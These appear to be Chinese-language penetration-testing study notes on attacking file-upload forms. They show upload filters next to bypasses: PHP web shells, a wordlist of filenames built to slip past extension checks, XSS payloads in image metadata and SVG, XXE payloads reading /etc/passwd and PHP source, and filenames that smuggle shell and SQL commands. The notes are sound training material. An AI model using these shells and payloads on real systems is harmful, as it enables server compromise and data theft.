Web Shell

Php

1
2
3
4
5
<?php eval($_REQUEST['cmd']);?>  
<?php system($_REQUEST['cmd']); ?>

<?=eval($_REQUEST['cmd']);?>
<?=$_GET[0]($_REQUEST[1]);?>

Bypassing Filters

前端过滤器

1
<input type="file" name="uploadFile" id="uploadFile" onchange="checkFile(this)" accept=".jpg,.jpeg,.png">
1
2
3
4
5
6
7
8
9
function checkFile(File) {  
...SNIP...
if (extension !== 'jpg' && extension !== 'jpeg' && extension !== 'png') {
$('#error_message').text("Only images are allowed!");
File.form.reset();
$("#submit").attr("disabled", true);
...SNIP...
}
}

后端过滤器

黑名单过滤

SecLists web-extensions

1
2
3
4
5
6
7
8
$fileName = basename($_FILES["uploadFile"]["name"]);  
$extension = pathinfo($fileName, PATHINFO_EXTENSION);
$blacklist = array('php', 'php7', 'phps');

if (in_array($extension, $blacklist)) {
echo "File type not allowed";
die();
}

白名单过滤

SecLists web-extensions

1
2
3
4
5
6
$fileName = basename($_FILES["uploadFile"]["name"]);  

if (!preg_match('^.*\.(jpg|jpeg|png|gif)', $fileName)) {
echo "Only images are allowed";
die();
}

服务器配置错误 Apache2 服务器 /etc/apache2/mods-enabled/php7.4.conf

1
2
3
4
# Web 服务器确定允许执行哪些文件 PHP 代码的方式,任何匹配扩展名的文件都将被允许执行 PHP 代码。  
<FilesMatch ".+\.ph(ar|p|tml)">
SetHandler application/x-httpd-php
</FilesMatch>

字符注入 (Character Injection)

1
2
3
4
5
6
7
8
for char in '%20' '%0a' '%00' '%0d0a' '/' '.\\' '.' '…' ':'; do  
for ext in '.php' '.phps'; do
echo "shell$char$ext.jpg" >> wordlist.txt
echo "shell$ext$char.jpg" >> wordlist.txt
echo "shell.jpg$char$ext" >> wordlist.txt
echo "shell.jpg$ext$char" >> wordlist.txt
done
done

类型过滤器

Content-Type

SecLists web-all-content-types

1
2
3
4
5
6
$type = $_FILES['uploadFile']['type'];  

if (!in_array($type, array('image/jpg', 'image/jpeg', 'image/png', 'image/gif'))) {
echo "Only images are allowed";
die();
}

MIME-Type

Multipurpose Internet Mail Extensions (MIME) 通常是通过检查文件内容的前几个字节来完成的,这些字节包含 File Signature

1
2
3
4
5
6
$type = mime_content_type($_FILES['uploadFile']['tmp_name']);  

if (!in_array($type, array('image/jpg', 'image/jpeg', 'image/png', 'image/gif'))) {
echo "Only images are allowed";
die();
}

其他攻击

Stored XSS

HTML

当 Web 应用程序允许上传HTML文件时。尽管 HTML 文件不允许执行代码(例如 PHP),但仍有可能在其中实现 JavaScript 代码,以对访问上传的 HTML 页面的任何人进行 XSS 或 CSRF 攻击。如果目标看到他们信任的网站的链接,并且该网站容易上传 HTML 文档,则可能诱骗他们访问该链接并在他们的机器上进行攻击。

Metadata

XSS 攻击的另一个示例是 Web 应用程序在图片上传后显示其 Metadata。对于此类 Web 应用程序,可以在接受原始文本的 Metadata 参数之一中包含 XSS 负载,例如CommentArtist参数:

1
exiftool -Comment=' "><img src=1 onerror=alert(window.origin)>' HTB.jpg

参数Comment已更新为 XSS 负载。当显示图像的元数据时,应该会触发 XSS 负载,并且 JavaScript 代码将被执行以进行 XSS 攻击。此外,如果将图像的 MIME 类型更改为text/html,某些 Web 应用程序可能会将其显示为 HTML 文档而不是图像,在这种情况下,即使不直接显示元数据,也会触发 XSS 负载。

SVG

Scalable Vector Graphics (SVG)图像是基于 XML 的,它们描述 2D 矢量图形,浏览器将其渲染为图像。因此,可以修改其 XML 数据以包含 XSS 有效负载。

1
2
3
4
5
6
<?xml version="1.0" encoding="UTF-8"?>  
<!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd">
<svg xmlns="http://www.w3.org/2000/svg" version="1.1" width="1" height="1">
<rect x="1" y="1" width="1" height="1" fill="green" stroke="black" />
<script type="text/javascript">alert(window.origin);</script>
</svg>

XXE

使用 SVG 图像,还可以包含恶意 XML 数据以泄露 Web 应用程序的源代码以及服务器内的其他内部文档。使用 XML 数据并非 SVG 图像所独有,因为许多类型的文档也使用它,例如 PDFWord DocumentsPowerPoint Documents …

1
2
3
<?xml version="1.0" encoding="UTF-8"?>  
<!DOCTYPE svg [ <!ENTITY xxe SYSTEM "file:///etc/passwd"> ]>
<svg>&xxe;</svg>

XXE 读取 PHP Web 应用程序中的源代码

1
2
3
<?xml version="1.0" encoding="UTF-8"?>  
<!DOCTYPE svg [ <!ENTITY xxe SYSTEM "php://filter/convert.base64-encode/resource=index.php"> ]>
<svg>&xxe;</svg>

DOS

Denial of Service (DOS)

文件名中的注入

命令执行

1
2
3
file$(whoami).jpg  
file`whoami`.jpg
file.jpg||whoami

XSS

1
<script>alert(window.origin);</script>

SQLi

1
file';select+sleep(5);--.jpg

上传目录披露

在某些文件上传表单(如反馈表单或提交表单)中,可能无法访问上传文件的链接,也可能不知道上传目录。在这种情况下,可以利用模糊测试来查找上传目录,甚至使用其他漏洞(例如 LFI/XXE)通过阅读 Web 应用程序源代码来查找上传文件的位置,就像在上一节中看到的那样。

另一种方法来泄露上传目录,即强制错误消息,因为它们通常会透露有助于进一步利用的信息。即上传一个名称已存在的文件或同时发送两个相同的请求。这可能会导致 Web 服务器显示无法写入文件的错误,从而泄露上传目录。还可以尝试上传名称过长的文件(例如 5,000 个字符)。如果 Web 应用程序无法正确处理此问题,也可能会出错并泄露上传目录。

⬆︎TOP